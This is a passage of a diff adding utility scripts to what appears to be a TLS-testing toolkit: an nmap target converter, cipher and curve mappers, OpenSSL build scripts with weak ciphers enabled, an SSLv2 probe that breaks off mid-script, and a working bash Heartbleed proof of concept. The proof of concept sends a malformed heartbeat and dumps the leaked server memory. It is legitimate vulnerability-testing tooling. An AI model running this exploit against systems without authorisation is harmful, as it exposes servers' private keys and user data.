$tcp_port in + 21) echo "-t ftp " ;; + 23) echo "-t telnet " ;; + 119|433) echo "-t nntp " ;; # to come + 25|587) echo "-t smtp " ;; + 110) echo "-t pop3 " ;; + 143) echo "-t imap " ;; + 389) echo "-t ldap ";; + 3306) echo "-t mysql " ;; + 5222) echo "-t xmpp " ;; # domain of jabber server maybe needed + 5432) echo "-t postgres " ;; + 563) ;; # NNTPS + 636) ;; # LDAP + 1443|8443|443|981) ;; # HTTPS + 465) ;; # HTTPS | SMTP + 631) ;; # CUPS + 853) ;; # DNS over TLS + 995|993) ;; # POP3|IMAP + 3389) ;; # RDP + *) ret=1 ;; # we don't know this ports so we rather do not scan it + esac + return $ret +} + +nmap_to_plain_file () { + + local fname="$1" + local target_fname="" + local oneline="" + local ip hostdontcare round_brackets ports_specs starttls + local tmp port host_spec protocol ssl_hint dontcare dontcare1 + + # Ok, since we are here we are sure to have an nmap file. To avoid questions we make sure it's the right format too + if [[ "$(head -1 "$fname")" =~ ( -oG )(.*) ]] || [[ "$(head -1 "$fname")" =~ ( -oA )(.*) ]] ; then + # yes, greppable + if [[ $(grep -c Status "$fname") -ge 1 ]]; then + [[ $(grep -c '\/open\/' "$fname") -eq 0 ]] && \ + fatal "Nmap file $fname should contain at least one open port" 250 + else + fatal "strange, nmap grepable misses \"Status\"" 251 + fi + else + fatal "Nmap file $fname is not in grep(p)able format (-oG filename.g(n)map)" 250 + fi + target_fname="${fname%.*}"-testssl.txt + [[ -e $target_fname ]] && fatal "$target_fname already exists" 3 + > "${target_fname}" || fatal "Cannot create \"${target_fname}\"" 252 + + # Line x: "Host: AAA.BBB.CCC.DDD (<FQDN>) Status: Up" + # Line x+1: "Host: AAA.BBB.CCC.DDD (<FQDN>) Ports: 443/open/tcp//https///" + # (or): Host: AAA.BBB.CCC.DDD (<FQDN>) Ports: 22/open/tcp//ssh//<banner>/, 25/open/tcp//smtp//<banner>/, 443/open/tcp//ssl|http//<banner> + while read -r hostdontcare ip round_brackets tmp ports_specs; do + [[ "$ports_specs" =~ "Status: " ]] && continue # we don't need this + [[ "$ports_specs" =~ '/open/tcp/' ]] || continue # no open tcp at all for this IP --> move + host_spec="$ip" + fqdn="${round_brackets/\(/}" + fqdn="${fqdn/\)/}" + if [[ -n "$fqdn" ]]; then + tmp="$(get_a_record "$fqdn")" + if [[ "$tmp" == "$ip" ]]; then + host_spec="$fqdn" + fi + fi + while read -r oneline; do + # 25/open/tcp//smtp//<banner>/, + [[ "$oneline" =~ '/open/tcp/' ]] || continue # no open tcp for this port on this IP --> move on + IFS=/ read -r port dontcare protocol ssl_hint dontcare1 <<< "$oneline" + if [[ "$ssl_hint" =~ ^(ssl|https) ]] || [[ "$dontcare1" =~ ^(ssl|https) ]]; then + echo "${host_spec}:${port}" >>"$target_fname" + else + starttls="$(ports2starttls $port)" + [[ $? -eq 1 ]] && continue # nmap got a port but we don't know how to speak to + echo "${starttls}${host_spec}:${port}" >>"$target_fname" + fi + done < <(tr ',' '\n' <<< "$ports_specs") + done < "$fname" + + [[ -s "$target_fname" ]] || fatal "Couldn't find any open port in $fname" 253 + echo "$target_fname written successfully" + return 0 +} + + +[[ -z "$1" ]] && usage +FNAME="$1" +[[ ! -e $FNAME ]] && echo "$FNAME not readable" && exit 2 + +nmap_to_plain_file "$FNAME" + +exit $? + +# vim:ts=5:sw=5:expandtab + diff --git a/utils/heartbleed.bash b/utils/heartbleed.bash new file mode 100755 index 0000000..3129c36 --- /dev/null +++ b/utils/heartbleed.bash @@ -0,0 +1,307 @@ +#!/usr/bin/env bash + +# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/ +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt +# +# sockets inspired by http://blog.chris007.de/?p=238 +# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280 +# +# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c +# +###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### + +readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' +trap "cleanup" QUIT EXIT + +[ -z "$1" ] && exit 1 + +NODE="$1" +PORT="443" +JABBERNODE=${JABBERNODE} +SLEEP=2 +MAXSLEEP=10 +SOCKREPLY="" +COL_WIDTH=32 +DEBUG=${DEBUG:-0} +HELLO_READBYTES=${HELLO_READBYTES:-65535} + +# TLS 1.0=x01 1.1=0x02, 1.2=0x3 +TLSV=${2:-01} + + +heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00" +## ^^^^^^^ this is the whole thing! + +client_hello=" +# TLS header (5 bytes) +,x16, # Content type (x16 for handshake) +x03, x$TLSV, # TLS Version +x00, xdc, # Length +# Handshake header +x01, # Type (x01 for ClientHello) +x00, x00, xd8, # Length +x03, x$TLSV, # TLS Version +# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html +x53, x43, x5b, x90, x9d, x9b, x72, x0b, +xbc, x0c, xbc, x2b, x92, xa8, x48, x97, +xcf, xbd, x39, x04, xcc, x16, x0a, x85, +x03, x90, x9f, x77, x04, x33, xd4, xde, +x00, # Session ID length +x00, x66, # Cipher suites length +# Cipher suites (51 suites) +xc0, x14, xc0, x0a, xc0, x22, xc0, x21, +x00, x39, x00, x38, x00, x88, x00, x87, +xc0, x0f, xc0, x05, x00, x35, x00, x84, +xc0, x12, xc0, x08, xc0, x1c, xc0, x1b, +x00, x16, x00, x13, xc0, x0d, xc0, x03, +x00, x0a, xc0, x13, xc0, x09, xc0, x1f, +xc0, x1e, x00, x33, x00, x32, x00, x9a, +x00, x99, x00, x45, x00, x44, xc0, x0e, +xc0, x04, x00, x2f, x00, x96, x00, x41, +xc0, x11, xc0, x07, xc0, x0c, xc0, x02, +x00, x05, x00, x04, x00, x15, x00, x12, +x00, x09, x00, x14, x00, x11, x00, x08, +x00, x06, x00, x03, x00, xff, +x01, # Compression methods length +x00, # Compression method (x00 for NULL) +x00, x49, # Extensions length +# Extension: ec_point_formats +x00, x0b, x00, x04, x03, x00, x01, x02, +# Extension: elliptic_curves +x00, x0a, x00, x34, x00, x32, x00, x0e, +x00, x0d, x00, x19, x00, x0b, x00, x0c, +x00, x18, x00, x09, x00, x0a, x00, x16, +x00, x17, x00, x08, x00, x06, x00, x07, +x00, x14, x00, x15, x00, x04, x00, x05, +x00, x12, x00, x13, x00, x01, x00, x02, +x00, x03, x00, x0f, x00, x10, x00, x11, +# Extension: SessionTicket TLS +x00, x23, x00, x00, +# Extension: Heartbeat +x00, x0f, x00, x01, x01 +" +#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` +msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') + + +parse_hn_port() { + # strip "https", supposed it was supplied additionally + echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` + + # strip trailing urlpath + NODE=`echo $NODE | sed -e 's/\/.*$//'` + + # determine port, supposed it was supplied additionally + echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` + echo -e "\n===> connecting to $NODE:$PORT\n" +} + +debugme() { + [[ $DEBUG -ge 2 ]] && "$@" +} + + +wait_kill(){ + pid=$1 + maxsleep=$2 + while true; do + if ! ps $pid >/dev/null ; then + return 0 # didn't reach maxsleep yet + fi + sleep 1 + maxsleep=$((maxsleep - 1)) + test $maxsleep -eq 0 && break + done # needs to be killed + kill $pid >&2 2>/dev/null + wait $pid 2>/dev/null + return 3 # killed +} + + +socksend() { + data=`echo $1` + echo "\"$data\"" + echo -en "$data" >&5 & + sleep $SLEEP +} + + +sockread() { + [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 + ret=0 + + ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7 + dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null & + wait_kill $! $maxsleep + ret=$? + SOCKREPLY=$(cat $ddreply) + [ $DEBUG -eq 0 ] && rm $ddreply + + return $ret +} + + +starttls_just_read(){ + echo "=== just read banner ===" + cat <&5 & + wait_kill $! $SLEEP +} + +# arg1: string to send +# arg2: possible success strings a egrep pattern, needed! +starttls_line0() { + reply=$(mktemp /tmp/reply.XXXXXX) || return 7 + + debugme echo -e "\n=== sending \"$1\" ..." + echo -e "$1" >&5 + dd bs=1024 of=$reply count=32 <&5 2>/dev/null & + wait_kill $! $SLEEP + debugme echo "... received result: " + cat $reply + if [ -n "$2" ]; then + if grep -Eq "$2" $reply; then + debugme echo "---> reply matched \"$2\"" + [ $DEBUG -eq 0 ] && rm $reply + return 0 + else + debugme echo "---> reply didn't match \"$2\", see $reply" + fixme "STARTTLS handshake problem" + exit 1 + fi + fi +} + +starttls_line1() { + echo "$1" >&5 + while true; do + read line <&5 + echo $line + break + done +} + +fixme(){ + tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0 +} + + +fd_socket(){ + local jabber="" + + if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "`basename $0`: unable to connect to $NODE:$PORT" + exit 2 + fi + + case "$1" in # port + 21) # https://tools.ietf.org/html/rfc4217 + starttls_just_read + starttls_line0 "FEAT" "211" + #starttls_line0 HELP "214" + starttls_line0 "AUTH TLS" "successful|234" + ;; + 25) # SMTP, see https://tools.ietf.org/html/rfc4217 + starttls_just_read + starttls_line0 "EHLO testssl.sh" "220|250" + starttls_line0 "STARTTLS" "220" + ;; + 110) # POP, see https://tools.ietf.org/html/rfc2595 + starttls_just_read + starttls_line0 "STLS" "OK" + ;; + 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642 + starttls_just_read + starttls_line0 "CAPABILITIES" "101|200" + starttls_line0 "STARTTLS" "382" + ;; + 143) # IMAP, https://tools.ietf.org/html/rfc2595 + starttls_just_read + starttls_line0 "a001 CAPABILITY" "OK" + starttls_line0 "a002 STARTTLS" "OK" + ;; + 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511 + fixme "LDAP: FIXME not yet implemented" + exit 1 + ;; + 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595 + fixme "ACAP: FIXME not yet implemented" + exit 1 + ;; + 5222) # XMPP, see https://tools.ietf.org/html/rfc6120 + starttls_just_read + # following would be without hostname, jabber.org doesn't need it, others do! + #starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n" + [ -z $JABBERNODE ] && JABBERNODE="$NODE" + # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname! + # supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222 + jabber=$(cat <<EOF +<?xml version='1.0' ?> +<stream:stream +xmlns:stream='http://etherx.jabber.org/streams' +xmlns='jabber:client' +to='$JABBERNODE' +xml:lang='en' +version='1.0'> +EOF +) + starttls_line0 "$jabber" + starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed" + # BTW: https://xmpp.net ! + ;; + 443|995|993|465|*) # we don't need a special pre-command here + ;; + esac + echo +} + +close_socket(){ + exec 5<&- + exec 5>&- + return 0 +} + +cleanup() { + close_socket +} + + +#### main + +parse_hn_port "$1" +fd_socket $PORT + +echo "##### sending standard client hello with TLS version 03,$TLSV:" +socksend "$msg" $TLSV + +sockread $HELLO_READBYTES +echo "##### reading server hello ($HELLO_READBYTES bytes):" +echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10 +echo "[...]" +echo +if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then + tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0 + exit 1 +fi + +echo "###### sending payload with TLS version 03,$TLSV:" +socksend $heartbleed_payload $TLSV + +sockread 65534 +echo "###### heartbleed reply: " +echo "=============================" +echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20 +echo "=============================" + +if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then + tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 + ret=1 +else + tput bold; tput setaf 2; echo "ok"; tput sgr0 + ret=0 +fi +echo + +exit $ret + +# vim:ts=5:sw=5:expandtab +# $Id: heartbleed.bash,v 1.14 2015/07/06 19:26:38 dirkw Exp $ diff --git a/utils/hexstream2cipher.sh b/utils/hexstream2cipher.sh new file mode 100755 index 0000000..fff0689 --- /dev/null +++ b/utils/hexstream2cipher.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash + +hs="$1" +len=${#hs} +echo "# ciphers: $((len/4))" + +mapfile="etc/cipher-mapping.txt" +[ -s $mapfile ] || mapfile="../$mapfile" +[ -s $mapfile ] || exit 255 + +cip="" +first=true + +for ((i=0; i<len ; i+=4)); do + printf "%02d" "$i" + echo -n ": ${hs:$i:4}" + grepstr="0x${hs:$i:2},0x${hs:$((i+2)):2}" + echo -n " --> $grepstr --> " + cip=$(grep -i -E "^ *${grepstr}" $mapfile | awk '{ print $3 }') + if [[ $grepstr == 0x00,0xff ]]; then + echo TLS_EMPTY_RENEGOTIATION_INFO_SCSV + else + echo $cip + fi + if "$first"; then + ciphers="$cip" + first=false + else + ciphers="$ciphers:$cip" + fi +done + +echo +# remove leading : because of GREASE, and trailing because of TLS_EMPTY_RENEGOTIATION_INFO_SCSV +ciphers="${ciphers%:}" +echo ${ciphers#:} + +# vim:ts=5:sw=5:expandtab diff --git a/utils/hexstream2curves.sh b/utils/hexstream2curves.sh new file mode 100755 index 0000000..0f842e4 --- /dev/null +++ b/utils/hexstream2curves.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash + +hs="$1" +len=${#hs} +echo "# curves: $((len/4))" + +mapfile="etc/curves-mapping.txt" +[ -s $mapfile ] || mapfile="../$mapfile" +[ -s $mapfile ] || exit 255 + +cur="" +first=true + +for ((i=0; i<len ; i+=4)); do + printf "%02d" "$i" + echo -n ": ${hs:$i:4}" + grepstr="0x${hs:$i:2},0x${hs:$((i+2)):2}" + echo -n " --> $grepstr --> " + cur=$(grep -i -E "^ *${grepstr}" $mapfile | awk '{ print $3 }') + if [[ $grepstr == 0x00,0xff ]]; then + echo TPM_ECC_NONE + else + echo $cur + fi + if "$first"; then + curves="$cur" + first=false + else + curves="$curves:$cur" + fi +done + +echo +# remove leading : because of GREASE, and trailing because of TPM_ECC_NONE +curves="${curves%:}" +echo ${curves#:} + +# vim:ts=5:sw=5:expandtab diff --git a/utils/make-openssl.sh b/utils/make-openssl.sh new file mode 100755 index 0000000..931406a --- /dev/null +++ b/utils/make-openssl.sh @@ -0,0 +1,160 @@ +#!/usr/bin/env bash +# +# This script compiles the "bad openssl" version, 1.0.2 supporting legacy +# cryptography for Linux, FreeBSD and Darwin. +# +# License GPLv2, see ../LICENSE + + +STDOPTIONS="--prefix=/usr/ -DOPENSSL_USE_BUILD_DATE enable-zlib \ +enable-ssl2 enable-ssl3 enable-ssl-trace enable-rc5 enable-rc2 \ +enable-gost enable-cms enable-md2 enable-mdc2 enable-ec enable-ec2m enable-ecdh enable-ecdsa \ +enable-seed enable-camellia enable-idea enable-rfc3779 experimental-jpake" + + +error() { + tput bold + echo "### ERROR $1 ###" + tput sgr0 + exit 2 +} + +clean() { + case $NOCLEAN in + yes|Y|YES) ;; + *) + if [ -e "Makefile" ]; then + make clean + [ $? -ne 0 ] && error "no openssl directory" + fi + ;; + esac + return 0 +} + +makeall() { + make depend || error "depend" + make || error "making" + make report || error "testing/make report" + #FIXME: we need another error handler, as of now a failure doesn't mean a return status of != 0 + # see https://github.com/openssl/openssl/pull/336 + return 0 +} + +copyfiles() { + local ret + local target=../openssl.$(uname).$(uname -m).$1 + + echo; apps/openssl version -a; echo + if [ -e "$target" ]; then + case $(uname) in + *BSD|*Darwin) + mv $target $target-$(stat -f "%Sm" -t "%Y-%m-%d %H:%M" "$target" | sed -e 's/ .*$//' -e 's/-//g') + ;; + *) mv $target $target-$(stat -c %y $target | awk '{ print $1 }' | sed -e 's/ .*$//' -e 's/-//g') ;; + esac + fi + cp -pf apps/openssl ../openssl.$(uname).$(uname -m).$1 + ret=$? + echo + ls -l apps/openssl ../openssl.$(uname).$(uname -m).$1 + return $ret +} + +testv6_patch() { + if grep -q 'ending bracket for IPv6' apps/s_socket.c; then + STDOPTIONS="$STDOPTIONS -DOPENSSL_USE_IPV6" + echo "detected IPv6 patch thus compiling in IPv6 support" + echo + else + echo + echo "no IPv6 patch (Fedora) detected!! -- Press ^C and dl & apply from" + echo "https://github.com/drwetter/testssl.sh/blob/master/bin/fedora-dirk-ipv6.diff" + echo "or press any key to ignore" + echo + read a + fi +} + + + +echo +echo "###################################################################" +echo "####### Build script for Peter Mosmans openssl fork #######" +echo "####### which contains all broken and all advanced features #######" +echo "###################################################################" +echo + +testv6_patch + +if [ "$1" = krb ]; then + name2add=krb +else + if [ $(uname) != "Darwin" ]; then + name2add=static + else + name2add=dynamic + fi +fi + +echo "doing a build for $(uname).$(uname -m)".$name2add +echo +sleep 3 + + +case $(uname) in + Linux|FreeBSD) + openssldir_option='--openssldir=/etc/ssl' + case $(uname -m) in + i686|armv7l) clean + if [ "$1" = krb ]; then + ./config $openssldir_option $STDOPTIONS no-ec_nistp_64_gcc_128 --with-krb5-flavor=MIT + else + ./config $openssldir_option $STDOPTIONS no-ec_nistp_64_gcc_128 -static + fi + [ $? -ne 0 ] && error "configuring" + ;; + x86_64|amd64) clean + if [ "$1" = krb ]; then + ./config $openssldir_option $STDOPTIONS enable-ec_nistp_64_gcc_128 --with-krb5-flavor=MIT + else + ./config $openssldir_option $STDOPTIONS enable-ec_nistp_64_gcc_128 -static + fi + [ $? -ne 0 ] && error "configuring" + ;; + *) echo " Sorry, don't know this architecture $(uname -m)" + exit 1 + ;; + esac + ;; + Darwin) + openssldir_option='--openssldir=/private/etc/ssl/' + case $(uname -m) in + # No Kerberos (yet?) for Darwin. Static doesn't work for Darwin (#1204) + x86_64) clean || echo "nothing to clean" + ./Configure $openssldir_option $STDOPTIONS enable-ec_nistp_64_gcc_128 darwin64-x86_64-cc + [ $? -ne 0 ] && error "configuring" + ;; + i386) clean || echo "nothing to clean" + ./config $openssldir_option $STDOPTIONS no-ec_nistp_64_gcc_128 darwin64-x86_64-cc + [ $? -ne 0 ] && error "configuring" + ;; + esac + ;; + *) echo " Sorry, don't know this OS $(uname)" + ;; +esac + + +makeall && copyfiles "$name2add" +[ $? -ne 0 ] && error "copying files" +echo +echo "(w/o 4 GOST ciphers): $(apps/openssl ciphers -V 'ALL:COMPLEMENTOFALL' | wc -l)" +echo +echo "------------ all ok ------------" +echo + + +# vim:ts=5:sw=5:expandtab +# $Id: make-openssl.sh,v 1.20 2019/02/22 09:07:07 dirkw Exp $ + diff --git a/utils/make-openssl111.sh b/utils/make-openssl111.sh new file mode 100755 index 0000000..3bdbe18 --- /dev/null +++ b/utils/make-openssl111.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# +# vim:ts=5:sw=5:expandtab +# +# Script compiling OpenSSL 1.1.1 from GitHub. Not yet particular sophisticated. +# Just meant to provide a help to get the compile job done + +echo +echo "#####################################################" +echo "####### Build script for openssl 1.1.1 #######" +echo "####### (contains some weak cryptography) #######" +echo "#####################################################" +echo + +OPT11="enable-tls1_3 enable-ec_nistp_64_gcc_128 sctp enable-aria enable-asan enable-rc5 \ +enable-ssl3 enable-ssl3-method enable-dynamic-engine enable-ssl-trace \ +-DOPENSSL_TLS_SECURITY_LEVEL=0 " + +STDOPTIONS="--prefix=/usr/ --openssldir=/etc/ssl -DOPENSSL_USE_BUILD_DATE enable-zlib \ +enable-heartbeats enable-rc5 enable-md2 enable-ssl3 enable-weak-ssl-ciphers zlib no-shared \ +enable-rc2 enable-gost enable-cms enable-mdc2 enable-ec enable-ec2m enable-ecdh enable-ecdsa \ +enable-seed enable-camellia enable-idea enable-rfc3779" + +grep OPENSSL_VERSION_TEXT include/openssl/opensslv.h | grep -q 1.1.1 && STDOPTIONS="$STDOPTIONS $OPT11" + +clean() { + case $NOCLEAN in + yes|Y|YES) ;; + *) make clean ;; + esac + #[ $? -ne 0 ] && error "no openssl directory" + return 0 +} + +error() { + tput bold + echo "ERROR $1" + tput sgr0 + exit 2 +} + +makeall() { + make depend && make -j2 # && make report + if [ $? -ne 0 ]; then +#FIXME: we need another error handler, as a failure doesn't mean here anymore a return status of 1 + error "making" + return 1 + fi + return 0 +} + +copyfiles() { + echo; apps/openssl version -a; echo + cp -p apps/openssl ../openssl.$(uname).$(uname -m).$1 + echo + return $? +} + + +case $(uname -m) in + "i686") clean + if [[ "$1" = krb ]]; then + name2add=krb + ./config $STDOPTIONS --with-krb5-flavor=MIT + else + name2add=static + #export CFLAGS='-fPIC' + ./config $STDOPTIONS -static + fi + [ $? -ne 0 ] && error "configuring" + makeall && copyfiles "$name2add" + [ $? -ne 0 ] && error "copying files" + apps/openssl ciphers -V 'ALL:COMPLEMENTOFALL' | wc -l + echo + echo "------------ all ok ------------" + echo + ;; + "x86_64") clean + if [[ "$1" = krb ]]; then + name2add=krb + ./config $STDOPTIONS --with-krb5-flavor=MIT + else + name2add=static + ./config $STDOPTIONS -static + fi + [ $? -ne 0 ] && error "configuring" + makeall && copyfiles "$name2add" + [ $? -ne 0 ] && error "copying files" + # see ciphers(1), SSL_CTX_set_security_level(3) + apps/openssl ciphers -V 'ALL:COMPLEMENTOFALL:@SECLEVEL=0' | wc -l + echo + echo "------------ all ok ------------" + echo + ;; + *) echo " Sorry, don't know this architecture $(uname -m)" + exit 1 + ;; +esac diff --git a/utils/parse_client_ciphers.pl b/utils/parse_client_ciphers.pl new file mode 100755 index 0000000..bad39e2 --- /dev/null +++ b/utils/parse_client_ciphers.pl @@ -0,0 +1,45 @@ +#!/usr/bin/perl + +use strict; +use Data::Dumper; + +my @spec; +my %ciphers; + +# Turn cipher section of page like this https://www.ssllabs.com/ssltest/viewClient.html?name=Android&version=4.0.4 +# into an openssl cipher spec + +foreach my $line ( split /\n/, `../bin/openssl.Linux.x86_64 ciphers -V 'ALL:COMPLEMENTOFALL:\@STRENGTH'`) { + my @fields = split /\s+/, $line; + my $hex = ""; + foreach my $byte ( split /,/, $fields[1] ) { + $byte = lc $byte; + $byte =~ s/^0x//; + $hex .= $byte; + } + $hex =~ s/^0+//; + $ciphers{"0x$hex"} = $fields[3]; +} + +while (<>) { + chomp; + if ( $_ =~ /^(TLS|SSL)/ ) { + if ( $_ !~ /^TLS_EMPTY_RENEGOTIATION_INFO_SCSV/ ) { + $_ =~ /(0x[0-9a-f]+)/; + if ( $1 ) { + push @spec, $ciphers{$1}; + unless ( $ciphers{$1} ) { + die "Unable to find cipher for $1"; + } + } else { + print "** $_\n"; + } + } + } +} +print join ":", @spec; +print "\n"; +my $count = @spec; +print "$count ciphers\n"; + +# vim:ts=5:sw=5:expandtab diff --git a/utils/prototype.ssl2proto-check.bash b/utils/prototype.ssl2proto-check.bash new file mode 100755 index 0000000..a2cf832 --- /dev/null +++ b/utils/prototype.ssl2proto-check.bash @@ -0,0 +1,232 @@ +#!/usr/bin/env bash + +# bash socket implementation of checking the availability of SSLv2 protocol +# and ciphers on a remote server (loosely based on my bash-heartbleed implementation). +# +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt + +# it helps to wireshark: +# /<path>/openssl s_client -state -ssl2 -connect AA.BB.YYY.XXX:443 </dev/null +# /<path>/openssl s_client -state -debug -ssl2 -connect AA.BB.YYY.XXX:443 </dev/null + +V2_HELLO_CIPHERSPEC_LENGTH=0 # initialize +IFILE=./mapping-rfc.txt +NODE="" +COL_WIDTH=32 +DEBUG=${DEBUG:-0} +USLEEP_REC=${USLEEP_REC:-0.2} +USLEEP_SND=${USLEEP_SND:-0.1} # 1 second wait until otherwise specified +MAX_WAITSOCK=2 +SOCK_REPLY_FILE="" +NW_STR="" + + +# 9 cipher specs SSLv2: +SSLv2_CIPHER_SPECS=" +05 00 80 +03 00 80 +01 00 80 +07 00 c0 +08 00 80 +06 00 40 +04 00 80 +02 00 80 +00 00 00" + +# SSLV2 chello: +SSLv2_CLIENT_HELLO=" +,80,34 # length (here: 52) +,01 # Client Hello +,00,02 # SSLv2 +,00,1b # cipher spec length (here: 27 ) +,00,00 # session ID length +,00,10 # challenge length +,05,00,80 # 1st cipher +,03,00,80 # 2nd +,01,00,80 # 3rd +,07,00,c0 # 4th +,08,00,80 # 5th +,06,00,40 # 6th +,04,00,80 # 7th +,02,00,80 # 8th +,00,00,00 # 9th +,29,22,be,b3,5a,01,8b,04,fe,5f,80,03,a0,13,eb,c4 # Challenge +" + +# only classical V2 ciphers are used here, see http://max.euston.net/d/tip_sslciphers.html + +# there are v3 in v2!!! : https://tools.ietf.org/html/rfc6101#appendix-E +# Cipher specifications introduced in version 3.0 can be included in version 2.0 client hello messages using +# the syntax below. [..] +# V2CipherSpec (see Version 3.0 name) = { 0x00, CipherSuite }; !!!! + +# see: +# http://max.euston.net/d/tip_ssldump.html +# https://idea.popcount.org/2012-06-16-dissecting-ssl-handshake/ +# https://books.google.de/books?id=LfsC03f8oGsC&pg=PA592&lpg=PA592&dq=sslv2+server+hello+struct&source=bl&ots=JWeSD-9pwH&sig=lMzhxTdybJ3tfWC2p9ltIOKlIso&hl=en&sa=X&ei=U3WmVKzyNoTgOOeigNAP&ved=0CDUQ6AEwAw + + +help() { + echo + echo "Syntax $0 <hostname>" + echo + exit 1 +} + + +parse_hn_port() { + PORT=443 # unless otherwise auto-determined, see below + NODE="$1" + + # strip "https", supposed it was supplied additionally + echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` + + # strip trailing urlpath + NODE=`echo $NODE | sed -e 's/\/.*$//'` + + # determine port, supposed it was supplied additionally + echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed + 's/\:.*$//'` +} + +# arg1: formatted string here in the code +code2network() { + NW_STR=`echo "$1" | sed -e 's/,/\\\x/g' | sed -e 's/# .*$//g' -e 's/ //g' -e '/^$/d' | tr -d '\n' | tr -d '\t'` +} + +socksend_clienthello() { + code2network "$SSLv2_CLIENT_HELLO" + data=`echo $NW_STR` + [[ "$DEBUG" -ge 3 ]] && echo "\"$data\"" + printf -- "$data" >&5 2>/dev/null & + sleep $USLEEP_SND +} + +sockread_serverhello() { + [[ "x$2" = "x" ]] && maxsleep=$MAX_WAITSOCK || maxsleep=$2 + ret=0 + + SOCK_REPLY_FILE=`mktemp /tmp/ddreply.XXXXXX` || exit 7 + dd bs=$1 of=$SOCK_REPLY_FILE count=1 <&5 2>/dev/null & + pid=$! + + while true; do + if ! ps ax | grep -v grep | grep -q $pid; then + break # didn't reach maxsleep yet + kill $pid >&2 2>/dev/null + fi + sleep $USLEEP_REC + maxsleep=$(($maxsleep - 1)) + [[ $maxsleep -le 0 ]] && break + done + + if ps ax | grep -v grep | grep -q $pid; then + # time's up and dd is still alive --> timeout + kill $pid >&2 2>/dev/null + wait $pid 2>/dev/null + ret=3 # means killed + fi + + return $ret +} + +display_sslv2serverhello() { + +# server hello: in hex representation, see below +# byte 1+2: length of server hello 0123 +# 3: 04=Handshake message, server hello 45 +# 4: session id hit or not (boolean: 00=false, this 67 +# is the normal case) +# 5: certificate type, 01 = x509 89 +# 6+7 version (00 02 = SSLv2) 10-13 +# 8+9 certificate length 14-17 +# 10+11 cipher spec length 17-20 +# 12+13 connection id length +# [certificate length] ==> certificate +# [cipher spec length] ==> ciphers GOOD: HERE ARE ALL CIPHERS ALREADY! + + v2_hello_ascii=`hexdump -v -e '16/1 "%02X"' $1` + [[ "$DEBUG" -eq 4 ]] && echo $v2_hello_ascii # one line without any blanks + [[ -z $v2_hello_ascii ]] && return 0 # no server hello received + + # now scrape two bytes out of the reply per byte + v2_hello_initbyte="${v2_hello_ascii:0:1}" # normally this belongs to the next, should be 8! + v2_hello_length="${v2_hello_ascii:1:3}" # + 0x8000 see above + v2_hello_handshake="${v2_hello_ascii:4:2}" + v2_hello_cert_length="${v2_hello_ascii:14:4}" + v2_hello_cipherspec_length="${v2_hello_ascii:18:4}" + V2_HELLO_CIPHERSPEC_LENGTH=`printf "%d\n" "0x$v2_hello_cipherspec_length"` + + if [[ $v2_hello_initbyte != "8" ]] || [[ $v2_hello_handshake != "04" ]]; then + [[ $DEBUG -ge 1 ]] && echo "$v2_hello_initbyte / $v2_hello_handshake" + return 1 + fi + + if [[ $DEBUG -ge 2 ]]; then + echo "SSLv2 server hello length: 0x0$v2_hello_length" + echo "SSLv2 certificate length: 0x$v2_hello_cert_length" + echo "SSLv2 cipher spec length: 0x$v2_hello_cipherspec_length" + fi + return 0 +} + + +#### main + +[[ -z "$1" ]] && help # hostname + +echo +parse_hn_port "$1" + + if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "`basename $0`: unable to connect to $NODE:$PORT" + exit 2 + fi + # socket is now open with fd 5 + + [[ "$DEBUG" -ge 1 ]] && printf "sending client hello...\n\n" + socksend_clienthello + + sockread_serverhello 32768 0 + [[ "$DEBUG" -ge 1 ]] && printf "\nreading server hello...\n\n" + if [[ "$DEBUG" -eq 3 ]]; then + #xxd -c$COL_WIDTH $SOCK_REPLY_FILE | head -3 + #hexdump -v -e '"%04_ax: " 16/1 "%02X " "\n"' $SOCK_REPLY_FILE | head -6 + hexdump -C $SOCK_REPLY_FILE 